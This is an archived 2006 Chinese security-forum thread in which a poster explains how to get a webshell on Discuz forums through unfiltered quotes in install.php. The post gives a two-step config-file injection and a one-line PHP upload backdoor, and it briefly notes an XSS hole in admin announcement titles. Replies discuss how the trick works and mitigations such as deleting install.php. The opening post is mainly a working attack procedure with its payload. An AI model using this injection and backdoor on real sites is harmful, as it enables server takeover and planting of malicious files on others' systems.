邪恶八进制信息安全团队技术讨论组's Archiver

maple-x 2006-7-11 16:01

[原创]Discuz的两个鸡肋

文章作者:Maple-x ([url]www.wolvez.org[/url])
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

注意:此文首发与BCT(bbs.cnbct.org)后由原创作者提交到邪恶八进制信息安全团队

鸡肋1:install.php由于preg_grep过滤不严存在安全漏洞,可以直接拿webshell
如果你万幸发现install.php存在,但还没创建数据库账号,或者得到了数据库账号拿不到shell的时候,可以看看这个。

install.php的339-412行中对变量configfile进行了如下过滤
$configfile = preg_replace("/[$]dbhosts*=s*["'].*?["']/is", "$dbhost = '$dbhost'", $configfile);
$configfile = preg_replace("/[$]dbusers*=s*["'].*?["']/is", "$dbuser = '$dbuser'", $configfile);
$configfile = preg_replace("/[$]dbpws*=s*["'].*?["']/is", "$dbpw = '$dbpw'", $configfile);
............
意思是对$configfile文件中对$dbhost = ' '这样的匹配模式进行替换,这里并没有对单引号进行过滤,由于对主机,数据库名,密码等过滤规则是一样的,我们其中一个填写框中输入

CODE:
a';?>
[Copy to clipboard]
;------------(这是第一次提交)
然后保存,保存得到信息可能会错数据库连接出错,没有关系,因为discuz的安装配置文件是先写入再判断的,然后你查看一下config.inc.php,会出现

CODE:
$dbhost = 'a';?>'
[Copy to clipboard]

这样的格式。
我们回到上一步,再保存一次---------------------(这是第二次提交)
这时你会看到config.inc.php已经被破坏了,会出现

CODE:
$dbhost = 'a';?>';?>';
[Copy to clipboard]

这样的情况,但现在是却是一种<?php ?>这样完整的匹配模式了.
那我们在?>前面加上我们的一句话后门,就可以得到一个webshell了。
例如写入:a&#39;;copy($_FILES[myfile][tmp_name],$_FILES[myfile][name])?>
重复写入两次就可以通过install.php上传php后门了。

鸡肋2:后台的发公告的标题存在跨站漏洞。

xhming 2006-7-12 18:06

对于这些正则表达式的搜索和替换函数小菜我还是不能很好的理解!!在这里preg_replace()函数它是替换掉$dbhost = &#39;&#39;引号里面的东西吗??~~~提交两次后$dbhost = &#39;a&#39;;?>&#39;;?>&#39;;里面怎么少了个a?怎么导致它形成了<?php?>这种形势的内容!前半部分<?是怎么来的,难道在config.inc.php里以经有了吗?由于没有条件测试,希望楼主能给我详细点的解释好吗??

maple-x 2006-7-13 09:07

因为第一个a被覆盖掉了。
$dbhost = &#39;a&#39;;?>&#39;第一次提交的结果是这样的,第二次提交以后就会覆盖第一对‘’之间的内容。
所以在提交一次a&#39;;?>以后就会变成。
你把第一次结果第一对引号之间的内容替换一下就可以了。
在两提交以后就出现了。&#39;a&#39;;?>&#39;;?>&#39;;这样的形式。PHP前面还有一个<?
合起来就是<?.....&#39;a&#39;;?>&#39;;?>&#39;
前面一是安全的一对<??>了。

光芒果 2006-7-13 16:22

觉得后台那个好象不怎么样吧,广告那里一样可以跨站啊,能得到后台DZ可以直接执行SQL语句了,不过公告那里似乎是斑竹权限就可以发的了,这个应该是斑竹和管理员自己的问题吧,如果担心斑竹的素质问题可以自己配置下权限啊。

xhming 2006-7-13 21:10

[quote][b]这里是引用第[/b][color=#ff0000][2 楼][/color][b]的[color=#000066]maple-x[/color]于[/b]2006-07-13 09:07[b]发表的:[/b]
因为第一个a被覆盖掉了。
$dbhost = &#39;a&#39;;?>&#39;第一次提交的结果是这样的,第二次提交以后就会覆盖第一对‘’之间的内容。
所以在提交一次a&#39;;?>以后就会变成。
你把第一次结果第一对引号之间的内容替换一下就可以了。
在两提交以后就出现了。&#39;a&#39;;?>&#39;;?>&#39;;这样的形式。PHP前面还有一个<?
.......[/quote]
谢谢了,这下明白了~~ [s:82]

都市猎人 2006-7-14 23:50

"install.php"这个应该是安装论坛时有的,一般人出于安全考虑都会删除的.
"后台的发公告的标题存在跨站漏洞"如楼上的所说一般是设置好权限就好了啊,不过给我提醒了,我得给我的站设置下权限去 [s:82]  [s:82]

页: [1]
© 1999-2008 EvilOctal Security Team